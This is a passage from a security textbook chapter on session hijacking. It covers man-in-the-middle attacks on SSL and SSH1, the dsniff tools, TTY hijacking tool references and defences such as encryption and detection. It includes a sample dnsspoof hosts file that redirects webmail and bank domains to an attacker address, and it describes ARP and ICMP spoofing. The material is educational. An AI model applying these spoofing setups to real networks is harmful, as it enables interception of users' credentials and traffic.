protocols such as HTTP or X Windows over an SSH2 connection. SSH1 tackles
these problems to some degree as well, but this section, along with Chapter 13,
explains why SSH2 is better.
SSL is another good choice. It’s obviously available for Web servers where it is
most widely deployed, but a lot of folks aren’t aware that it can also be used with
www.syngress.com
434 Chapter 11 • Session Hijacking
the Post Office Protocol (POP), Simple Mail Transfer Protocol (SMTP), Internet
Message Access Protocol (IMAP), and others.
If you decide to go the encryption route to protect yourself, make sure that
you favor standards-based, open, well-established algorithms and protocols.Things
such as SSH2, SSL, and Internet Protocol Security (IPSec) might not be perfect,
but they’ve had a lot more review than most products, and chances are that they
contain fewer holes. As the remaining flaws are found, they will be published
widely, so you’ll know when you need to patch. As a counter example, a number
of remote-control type programs have proved to have either bad cryptography or
bad implementations of good cryptography.
Using cryptography could help you breathe just a little bit easier, but don’t
relax completely just yet. Man-in-the-middle (MITM) attacks have come a long
way since the first printing of this chapter—just when you thought it was safe to
go back into the water.
Man-in-the-Middle Attacks
MITM attacks are probably the most productive types of attacks used today in
conjunction with encrypted protocol hijacking and connection types such as
SSH1 and SSL.
Let’s say, for example, that a typical user attempts a connection to a site that is
SSL enabled. A key exchange occurs with the SSL server and the server’s certifi-
cate is compared to the certificates stored in the Web browser’s trusted root certi-
fication authority’s store. If the certificate information is valid and the certifying
authority is present in the browser’s trusted store with no restrictions, no warning
is generated on the client end by the browser, and a session key is offered for
encrypting the communication between the SSL-enabled site and the client
system.
Suffice it to say, when an MITM attack is started, the client does not connect
to the SSL site that he thinks he does.The hijacker is instead offering bogus credentials
and replaying the client’s information to the SSL site.The hijacker is
making the connection to the SSL server on behalf of the victim and replaying
all the information sent both ways so that he can essentially pick and chose what,
if any, traffic to modify for his potential gain.
Many people have the unfortunate tendency to ignore generated warnings
such as those shown in Figures 11.9 and 11.10.These are actual screens from an
MITM attack scenario using Ettercap (which we talked about briefly before). If
you clicked the button View Certificate under the security alert in the first
www.syngress.com
Session Hijacking • Chapter 11 435
screen, you would find that this certificate is marked “Issued to:VerySign Class 1
Authority.” It’s a cute play on words (VerySign instead of VeriSign), which would
slip right by most of the user populace.This is more a social attack on people’s
ignorance than it is technological wizardry.
Dsniff
Dsniff is a suite of tools that allow passive attacks and sniffing on TCP sessions.
Certain functions, webmitm and sshmitm, also allow this program to do “double
duty” for MITM attacks on both SSH1 and SSL connections. It does this by first
www.syngress.com
Figure 11.9 SSL Certificate Warning from Web Browser
Figure 11.10 Certificate Information
436 Chapter 11 • Session Hijacking
implementing DNS spoofing (see the “UDP Hijacking” section earlier) with
dnsspoof to fool the participating host into thinking that that the Secure HTTP
(HTTPS) or SSH connection is indeed the host to which they intended to
connect.
For example, after an entry for the SSL domain the hacker wants to spoof is
added to the dnsspoof hosts file, the webmitm component presents a self-signed certificate
to the user with webmitm relaying the sniffed traffic to the real domain.
The legitimate domain’s reply is sent through the attacker back to the host that
requested the session. All subsequent communication on this channel takes place
through the attacker’s system.
A typical dnsspoof host file contents look something like this:
192.168.1.103 *.hotmail.com
192.168.1.103 *.anybank.com
Other Hijacking
The other thing we hear is hijacked frequently is terminal sessions. CERT issued
an advisory about these attacks taking place in the wild back at the beginning of
1995; you can find these alerts at www.cert.org/advisories/CA-1995-01.html.
CERT is not one to give out tools or many attack details, so we don’t know
exactly what tool was being used in that instance. However, a number of tools
along those lines were publicly released over the next couple of years following
the CERT advisory. Here’s a list of some of them:
 TTY Hijacker for Linux and FreeBSD at
www.phrack.org/show.php?p=51&a=5.
 Linux kernel loadable module for TTY hijacking at
www.phrack.org/show.php?p=50&a=5.
 Hole in pppd (if setuid root) allows for MITM attacks against TTYs at
securityfocus.com/archive/1/8035.
This is far from a complete list. If you have need of a terminal/TTY hijacker,
your best bet would be to do a search for such for the particular OS you need.
Note that most of the time you need to be root or have a security hole to
exploit.
In this chapter, we covered a number of tools that can be used for attacking
as well as defending.You’ll want your employees to be able to use both so that
they are familiar with how they work and what they look like on a network.This
www.syngress.com
Session Hijacking • Chapter 11 437
goal will probably require a small lab of some sort, and you’ll have to make sure
your employees have the time to experiment.
In order to catch a hacker, you’ve got to think like one. Just as military personnel
must know their enemy before confronting them, so must the security professional
know the hacker. By knowing what weapons hackers use, how they use
them, and when they are most effective, you could very well avoid becoming a part
of the next statistic in the latest info security magazine studies.There are many
resources available, and sometimes it can seem a bit overwhelming to keep track of
them, but it’s a part of the job that must be done regularly. An easier way to get a
handle on this deluge of information is by checking www.securityfocus.com/tools,
http://sourceforge.net, http://packetstormsecurity.org, and www.wiretrip.net.A
quick search should yield the results you desire.
Yes, a great many resources are dedicated to security.A tremendous effort
might not be required for your environment, but if it is, this is what it’s going to
cost. Security is expensive.
www.syngress.com
Required Reading
If you want to be truly proactive in your security efforts, you need to
require that your employees read the same information sources that the
bad guys do. These sources include various mailing lists, such as
Bugtraq, NTBugtraq, vuln-dev, and others. (For more information on
security-reporting mailing lists, please see Chapter 18.) They should also
read the magazines Phrack and 2600 and watch Web sites such as
SecurityFocus.com for new papers, headlines, and articles. All this
reading can be somewhat time consuming, but if you’re going to do
better than simply apply patches when they come out, this is what it’s
going to take.
Tools & Traps…
438 Chapter 11 • Session Hijacking
Summary
In this chapter, we covered session hijacking and looked at examples of how it is
done for TCP, UDP, and others.We went over in detail what happens on a packet
level when an attacker hijacks (desynchronizes) a TCP connection. Problems with
hijacking TCP connections include ARP storms, the commands being displayed
on the victim’s screen, and difficulty with resynchronizing the original client and
server.
We looked at the use of four session-hijacking tools: Juggernaut, Hunt, dsniff,
and Ettercap. Juggernaut is an older tool that can do simple sniffing, session
hijacking, and connection reset. Hunt performs those functions as well as
allowing for ARP hijacking and packet relaying in order to help eliminate ACK
storms. Ettercap and dsniff do all these things and are also useful for session
hijacking with crypted protocols. All are freely available and run on the Linux
platform.
There are two main mechanisms for dealing with hijacking problems: prevention
and detection.The main way to protect against hijacking is encryption. It
should be noted that this method applies mainly to network traffic; terminal
hijackers might still work just fine even if an encrypted protocol is used on the
wire. But as we’ve seen illustrated in this chapter, even some forms of encryption
are not a guarantee.The two main keys to successful prevention with encrypted
protocols include user education and awareness and using streamed ciphered protocols
such as IPSec.The other mechanism is detection. Most hijacking techniques
produce anomalous traffic or behavior (such as connections being reset, or
“hanging,”ACK storms, or strange garbage appearing onscreen).Tools can be and
have been written to watch for some of the signs of these types of attacks.
Solutions Fast Track
Understanding Session Hijacking
The point of hijacking a connection is to steal trust.
Hijacking is a race scenario: Can the attacker get an appropriate response
packet in before the legitimate server or client can? In most cases, the
answer is probably yes, as long as the attacker can script the attack. He’d
need a tool that would watch for the request, then produce the response
he wanted to fake as quickly as possible and then drop that on the wire.
www.syngress.com
Session Hijacking • Chapter 11 439
Anomalous behaviors (changes in protocol communications or increases
in ARP traffic) result from hijacking attempts that either host or perhaps
an intrusion detection system (IDS) can be configured to spot.
Attackers can remotely modify routing tables to redirect packets or get a
system into the routing path between two hosts.
Attackers might spoof Internet Control Message Protocol (ICMP) and
redirect packets to fool some hosts into thinking that there is a better
route via the attacker’s IP address. Modifying an open source, UNIX-like
operating system to not decrement the Time to Live (TTL) and not
send ICMP unreachables could go a long way toward evading traceroute
detection.
In an ARP attack, when a victim machine broadcasts for the Media
Access Control (MAC) address that belongs to a particular IP address
(perhaps the victim’s default gateway), all an attacker has to do is answer
before the real machine being requested does.
Examining Available Tools
Juggernaut, created by route, is the pioneering sniffing and sessionhijacking
tool; it has extensive functionality and runs on arbitrary
Transmission Control Protocol (TCP) ports. Juggernaut is very
interesting although no longer being developed.
Hunt, created by Pavel Krauz, is similar to Juggernaut but adds ARP
spoofing tools.
Ettercap is a multipurpose program used primarily for sniffing,
capturing, and logging traffic on switched local area networks (LANs),
and supports both passive and active dissections of various protocols.
SMBRelay is a program written by SirDystic of cDc that allows for
Server Message Block (SMB) hijacking by forcing the client to be
disconnected after he has authenticated and takes over the existing SMB
session using the same credentials.
ARP games and TCP session hijacking can be very noisy.The timing
and duplication of ACKs exchanged between hosts in a hijacked session
result in an ACK storm. It would be possible to build a tool that
www.syngress.com
440 Chapter 11 • Session Hijacking
watched for responses, calculated a hash of the packet, and then stored
that for a period of time. If another packet comes in with appropriately
matching characteristics but the hash doesn’t match, you might have a
problem.
Playing MITM for Encrypted Communications
Widely deployed encryption is one easy way to make many networkhijacking
attacks much more difficult. SSH2 can replace the
functionality of Telnet, FTP, rlogin, and rcp. In addition, you can tunnel
other protocols such as HTTP or X Windows over an SSH2
connection.
Man in the middle (MITM) attacks are probably the most productive
types of attacks used today in conjunction with encrypted protocol
hijacking and connec